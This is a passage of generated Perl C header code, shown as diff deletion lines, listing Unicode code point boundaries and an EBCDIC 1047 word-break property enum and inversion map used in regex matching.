0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11173, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11600, - 0x11630, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118E0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x1B000, - 0x1B001, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -typedef enum { - WB_Other = 0, - WB_ALetter = 1, - WB_CR = 2, - WB_Double_Quote = 3, - WB_E_Base = 4, - WB_E_Base_GAZ = 5, - WB_E_Modifier = 6, - WB_Extend = 7, - WB_ExtendNumLet = 8, - WB_Format = 9, - WB_Glue_After_Zwj = 10, - WB_Hebrew_Letter = 11, - WB_Katakana = 12, - WB_LF = 13, - WB_MidLetter = 14, - WB_MidNum = 15, - WB_MidNumLet = 16, - WB_Newline = 17, - WB_Numeric = 18, - WB_Perl_Tailored_HSpace = 19, - WB_Regional_Indicator = 20, - WB_Single_Quote = 21, - WB_ZWJ = 22, - WB_EDGE = 23, - WB_UNKNOWN = 24 -} WB_enum; - -static const WB_enum _Perl_WB_invmap[] = { /* for EBCDIC 1047 */ - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_Newline, - WB_CR, - WB_Other, - WB_LF, - WB_Other, - WB_Newline, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_ALetter, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidLetter, - WB_Other, - WB_Single_Quote, - WB_Other, - WB_Double_Quote, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidLetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Format, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_MidNum, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_MidLetter, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_ALetter, - WB_MidLetter, - WB_Other, - WB_Format, - WB_Other, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Format, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Format, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Numeric, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Perl_Tailored_HSpace, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Format, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_Extend, - WB_ZWJ, - WB_Format, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidLetter, - WB_Newline, - WB_Format, - WB_ExtendNumLet, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_MidNum, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Format, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Hebrew_Letter, - WB_Extend, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_MidNum, - WB_Other, - WB_MidLetter, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ExtendNumLet, - WB_MidNum, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNum, - WB_MidLetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNum, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidLetter, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - 